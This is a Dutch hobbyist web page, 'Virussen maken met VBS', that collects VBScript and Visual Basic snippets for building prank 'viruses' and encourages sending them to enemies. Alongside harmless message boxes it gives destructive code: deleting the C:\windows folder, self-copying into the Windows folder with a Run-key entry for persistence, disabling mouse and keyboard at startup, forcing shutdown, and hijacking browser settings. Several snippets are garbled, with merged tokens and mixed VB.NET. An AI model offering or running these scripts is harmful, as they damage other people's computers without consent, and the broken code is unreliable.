Virussen maken met VBS


Visual basic scripts

Met Visual Basic scripts is het heel makelijk om een virus te maken, hiermee is ooit ook het bekende ''I love you virus'' gemaakt.

Open kladblok
Stop er wat onderstaande scripts in
Sla het op als .vbs en dus niet als .vbs.txt maar .vbs!
En open het, of als hij te erg is stuur hem door naar je vijanden!
Uitleg is geel, script is rood

Hieronder enkele scripts:





Een Bericht maken:

msgbox "Hej klootzak"


Een Bericht maken met je eigen Titel

X = msgbox ("Hej klootzak", 1024, "h4ck.nl zegt: ")


Eeen andere input:

strPtn = InputBox("SOM 2x4=...")
If (strptn) = 8 Thenmsgbox "Dat is het goede antwoord"
do
If (strPtn) <>8 ThenstrPtn = InputBox("SOM 2x4=...")
loop
msgbox "test test"


Een "Inputbox" maken

a=inputbox("Wat is je naam?")
msgbox "Tering wat een naam zeg," +a


Site als startpagina

Set shl = CreateObject("Wscript.shell") Shl.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.h4ck.nl"


"System Beep"

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True


CD/DVD speler openen:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject


Cdrom open en dicht:

Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing


Een Folder verwijderen:

delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete


Een Folder aanmaken:

path = "C:\linux"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(pathThen
Set folder = filesys.CreateFolder(path)
End If


Een Folder/Bestand openen:

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("C:\Windows")


Een Registerwaarde aanmaken/wijzigen:
(deze zorgt voor het sneller openen van Menu's in Start)

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "55"


Een programma openen:

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")


Tekst versturen naar willekeurige applicatie:

WScript.Sleep 400
WshShell.SendKeys " Je tekst "


Windows Script laten slapen:

WScript.Sleep 800
( een korte pauze, de waarde 800 kan je veranderen)


Windows laten afsluiten:

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next


Iets herhalen:

do
msgbox "Hallo!"
loop
msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm"


Schermsoorten:

vbCritical
vbInformation
vbExclamation
e.a.
Knopsoorten:
vbOKOnly
vbYesNo
vbAbortIgnoreRetry
e.a.


Wordpad openen en text typen

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "tekst"
( om enter te doen moet je {enter} typen )


Naam van internet-explorer veranderen

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Aangeboden door ArmeStakkers.nl"


In opstart volgorde van windows zetten

Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "je filenaam"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "je filenaam"


Dit veranderd de pc naam

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "h4ck"


Muis uitschakelen

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"


Toetsenbord uitschakelen

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"


Msn naam veranderen van slachtoffer

Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " Hier plaats je je tekst"
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub


File kopieren

Set FileSysObj = CreateObject("Scripting.FileSystemObject")
FileSysObj.CopyFile "Type hier het pad wat er gekopieert moet worden","en hier waar het heen moet"

Site op desktop plaatsen

Dim sUrl As String
Dim sFile As String
Dim lFile As Long

lFile = FreeFile
sUrl = "URL=http://www.punkbmx.tk"
sFile = "C:\Windows\desktop\visualbasic.url" 'voor Windows 9x,Me
Open sFile For Output As lFile
Print #lFile, "[InternetShortcut]"
Print #lFilesUrl


Tab vervangen door enter

Public Const VK_TAB = &H9
Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, _
ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Text1_KeyPress(KeyAscii As Integer)

If KeyAscii = vbKeyReturn Then

KeyAscii = 0
keybd_event VK_TAB, 0, 0, 0

End If

End Sub


Snelkoppeling op bureaublad plaatsen

Dim sUrl As String
Dim sFile As String
Dim lFile As Long

lFile = FreeFile
sUrl = "URL=http://www.punkbmx.tk"
sFile = "C:\Windows\desktop\visualbasic.url" 'voor Windows 9x
Open sFile For Output As lFile
Print #lFile, "[InternetShortcut]"
Print #lFilesUrl

Link toevoegen aan favoriten


Sub AddToIEFavorites(ByVal sURL As String, ByVal sDescr As String)

sURL = LCase(sURL)
If Left$(sURL, 7) <> "http://www.punkbmx.tk" Then sURL = "http://www.punkbmx.tk" & sURL
ShellExecute 0, "Open", "javascript:window.external.AddFavorite('" & sURL & _ "','" & sDescr & "')", "", "", 0

End Sub


Prullenbak leegmaken

System.Runtime.InteropServices.DllImport("shell32.dll")› Shared Function SHEmptyRecycleBin(ByVal hWnd As Integer, ByVal pszRootPath As String, ByVal dwFlags As Integer) As Integer
End Function

Sub EmptyRecycleBin(Optional ByVal rootPath As String = "", Optional ByVal noConfirmation As Boolean = True, Optional ByVal NoProgress AsBoolean = True, Optional ByVal NoSound As Boolean = True)

Const SHERB_NOCONFIRMATION = &H1
Const SHERB_NOPROGRESSUI = &H2
Const SHERB_NOSOUND = &H4

een : of \ toevoegen indien nodig
If rootPath.Length > 0 AndAlso rootPath.Substring(1, 2) <> ":\Then

rootPath = rootPath.Substring(0, 1) & ":\"

End If

' de flags argument opbouwen
Dim flags As Integer = (noConfirmation And SHERB_NOCONFIRMATION) Or (NoProgress And SHERB_NOPROGRESSUI) Or (NoSound AndSHERB_NOSOUND)
SHEmptyRecycleBin(0, rootPathflags)

End Sub


Geschiedenis verwijderen

Sub ClearIEHistory()

Dim keyName As String = "Software\Microsoft\Internet Explorer\TypedURLs"
' de key die de URLs uit de history bevat verwijderen
Microsoft.Win32.Registry.CurrentUser.DeleteSubKey(keyNameFalse)
' de key op nieuw (leeg) aanmaken Microsoft.Win32.Registry.CurrentUser.CreateSubKey(keyName)

End Sub


Controle voor een belgisch BTW nummer ?!

Private Function ControleBtwNummer(BtwNummer As String) As Boolean

ControleBtwNummer = IIf(((97 - Val(Left(BtwNummer, 7)) Mod 97)) = Val(Right(BtwNummer, 2)), True, False)

End Function


Controlle voor belgisch bankrekeningsnummer(handig mss)

Private Function ControleBankNummer(BankNummer As String) As Boolean

Dim Nummer As Double
Dim Rest As Integer
Nummer = Val(Left(BankNummer, 10))
Rest = CInt(Nummer - (97 * Fix(Nummer / 97)))
ControleBankNummer = IIf(Rest = Val(Right(BankNummer, 2)), True, False)

End Function


Afmelden, afsluiten, heropstarten

Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

om de aangemelde gebruiker af te melden
ans& = ExitWindowsEx(LOGOFFUSER, 0)

om je PC af te sluiten
ans& = ExitWindowsEx(SHUTDOWNPC, 0)

om je PC opnieuw op te starten
ans& = ExitWindowsEx(REBOOTPC, 0)

om je PC opnieuw te starten zonder eventuele meldingen van programma's die niet afgesloten waren
' deze methode is dus niet altijd zonder risico en kan dus schade toebrengen aan bepaalde bestanden
ans& = ExitWindowsEx(FORCEREBOOT, 0)



Beeldschermresolustie bepalen

Dim Width as Integer, Height as Integer

'Bepaal breedte en hoogte
With Screen
Width = .Width / .TwipsPerPixelX
Height = .Height / .TwipsPerPixelY

End With
Debug.Print WidthHeight


Controleren of een computer geluidskaart heeft

<System.Runtime.InteropServices.DllImport("winmm.dll")> Shared Function WaveOutGetNumDevs() As Integer
End Function

Function IsSoundCardSupported() As Boolean

Return waveOutGetNumDevs() >= 1

End Function



Script uit geheugen halen (sluiten):

'ThenWScript.Quit

(plak dit aan het einde van je script)




Hoe bestand opslaan?
Je hebt vast al wat leuks gemaakt in kladblok of wordpad: )

Ga naar het menu''bestand'' > kies ''opslaan als''
Dan vul je een naam in wat eindigt op .vbs (bijvoorbeeld pino.vbs)
Dan selecteer je daar onder bij ''opslaan als type'' > ''Alle bestanden'' en 
klik je op opslaan.

Je kan ook de offline versie downloaden in HTML


DOWNLOAD (.HTML)